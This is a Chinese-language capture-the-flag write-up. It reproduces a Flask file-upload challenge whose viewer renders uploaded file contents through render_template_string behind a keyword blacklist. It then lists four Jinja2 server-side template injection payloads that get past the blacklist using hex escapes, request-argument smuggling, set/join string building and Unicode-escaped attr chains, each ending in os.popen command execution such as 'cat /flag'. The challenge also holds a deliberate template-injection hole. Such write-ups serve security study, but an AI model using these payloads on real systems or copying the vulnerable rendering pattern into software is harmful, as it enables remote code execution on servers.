题目源代码
import os
import re
from flask import Flask, request, jsonify,render_template_string,send_from_directory, abort,redirect
from werkzeug.utils import secure_filename
import os
from werkzeug.utils import secure_filename
app = Flask(__name__)
# 配置信息
UPLOAD_FOLDER = 'static/uploads' # 上传文件保存目录
ALLOWED_EXTENSIONS = {'txt', 'log', 'text','md','jpg','png','gif'}
MAX_CONTENT_LENGTH = 16 * 1024 * 1024 # 限制上传大小为 16MB
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
app.config['MAX_CONTENT_LENGTH'] = MAX_CONTENT_LENGTH
# 创建上传目录(如果不存在)
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
def is_safe_path(basedir, path):
return os.path.commonpath([basedir,path])
def contains_dangerous_keywords(file_path):
dangerous_keywords = ['_', 'os', 'subclasses', '__builtins__', '__globals__','flag',]
with open(file_path, 'rb') as f:
file_content = str(f.read())
for keyword in dangerous_keywords:
if keyword in file_content:
return True # 找到危险关键字,返回 True
return False # 文件内容中没有危险关键字
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
# 检查是否有文件被上传
if 'file' not in request.files:
return jsonify({"error": "未上传文件"}), 400
file = request.files['file']
# 检查是否选择了文件
if file.filename == '':
return jsonify({"error": "请选择文件"}), 400
# 验证文件名和扩展名
if file and allowed_file(file.filename):
# 安全处理文件名
filename = secure_filename(file.filename)
# 保存文件
save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
file.save(save_path)
# 返回文件路径(绝对路径)
return jsonify({
"message": "File uploaded successfully",
"path": os.path.abspath(save_path)
}), 200
else:
return jsonify({"error": "文件类型错误"}), 400
# GET 请求显示上传表单(可选)
return '''
<!doctype html>
<title>Upload File</title>
<h1>Upload File</h1>
<form method=post enctype=multipart/form-data>
<input type=file name=file>
<input type=submit value=Upload>
</form>
'''
@app.route('/file/<path:filename>')
def view_file(filename):
try:
# 1. 过滤文件名
safe_filename = secure_filename(filename)
if not safe_filename:
abort(400, description="无效文件名")
# 2. 构造完整路径
file_path = os.path.join(app.config['UPLOAD_FOLDER'], safe_filename)
# 3. 路径安全检查
if not is_safe_path(app.config['UPLOAD_FOLDER'], file_path):
abort(403, description="禁止访问的路径")
# 4. 检查文件是否存在
if not os.path.isfile(file_path):
abort(404, description="文件不存在")
suffix=os.path.splitext(filename)[1]
print(suffix)
if suffix==".jpg" or suffix==".png" or suffix==".gif":
return send_from_directory("static/uploads/",filename,mimetype='image/jpeg')
if contains_dangerous_keywords(file_path):
# 删除不安全的文件
os.remove(file_path)
return jsonify({"error": "Waf!!!!"}), 400
with open(file_path, 'rb') as f:
file_data = f.read().decode('utf-8')
tmp_str = """<!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>查看文件内容</title>
</head>
<body>
<h1>文件内容:{name}</h1> <!-- 显示文件名 -->
<pre>{data}</pre> <!-- 显示文件内容 -->
<footer>
<p>© 2025 文件查看器</p>
</footer>
</body>
</html>
""".format(name=safe_filename, data=file_data)
return render_template_string(tmp_str)
except Exception as e:
app.logger.error(f"文件查看失败: {str(e)}")
abort(500, description="文件查看失败:{} ".format(str(e)))
# 错误处理(可选)
@app.errorhandler(404)
def not_found(error):
return {"error": error.description}, 404
@app.errorhandler(403)
def forbidden(error):
return {"error": error.description}, 403
if __name__ == '__main__':
app.run("0.0.0.0",debug=False)
关键出现 ssti 漏洞处
tmp_str = """<!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>查看文件内容</title>
</head>
<body>
<h1>文件内容:{name}</h1> <!-- 显示文件名 -->
<pre>{data}</pre> <!-- 显示文件内容 -->
<footer>
<p>© 2025 文件查看器</p>
</footer>
</body>
</html>
""".format(name=safe_filename, data=file_data)
return render_template_string(tmp_str)
黑名单
['_', 'os', 'subclasses', '__builtins__', '__globals__','flag',]
我先按照一个一个绕过的方法来看的:
过滤 _ 利用编码 \x5f 绕过
过滤关键字用 + 拼接的方式绕过,最后形成的payload:
{{ ()['\x5f\x5fcl'+'ass\x5f\x5f']['\x5f\x5fbase\x5f\x5f']['\x5f\x5fsub'+'classes\x5f\x5f']()[117]['\x5f\x5finit\x5f\x5f']['\x5f\x5fglobals\x5f\x5f']['popen']('cat /flag').read() }}
...但是并不行
方法二:利用 request 绕过
先在文件中写
{{''[request.args.x1][request.args.x2][1][request.args.x3]()[139][request.args.x4][request.args.x5][request.args.x6][request.args.x7](request.args.x8)}}
提交成功了以后再在 file/132.txt 后面加上 ? +
&x1=__class__&x2=__mro__&x3=__subclasses__&x4=__init__&x5=__globals__&x6=__builtins__&x7=eval&x8=__import__("os").popen("whoami").read()
方法三:set语句拼接
{%set xhx=({}|select()|string())[24]%}
select 过滤器通常用于条件筛选(类似Python的 filter 函数),但无参数调用时会返回一个生成器对象。
转换为字符串后形如 <generator object select_or_reject at 0x...>
{%set glo=(xhx,xhx,dict(glo=1,bals=2)|join,xhx,xhx)|join%}
{%set cla=(xhx,xhx,dict(cla=1,ss=2)|join,xhx,xhx)|join%}
{%set bas=(xhx,xhx,dict(ba=1,se=2)|join,xhx,xhx)|join%}
{%set sub=(xhx,xhx,dict(subcla=1,sses=2)|join,xhx,xhx)|join%}
{%set ini=(xhx,xhx,dict(ini=1,t=2)|join,xhx,xhx)|join%}
{%set pop="nepop"|reverse%} 啊?
{%set o=dict(o=1,s=2)|join%}
{{config[ini][glo][o][pop]("cat /fla*").read()}}
方法四: Unicode编码绕过
{{lipsum.__globals__.get('os').popen('cat /f*').read()}}
{{lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u0067\u0065\u0074")("\u006f\u0073")|attr("\u0070\u006f\u0070\u0065\u006e")("cat /f*")|attr("\u0072\u0065\u0061\u0064")()}}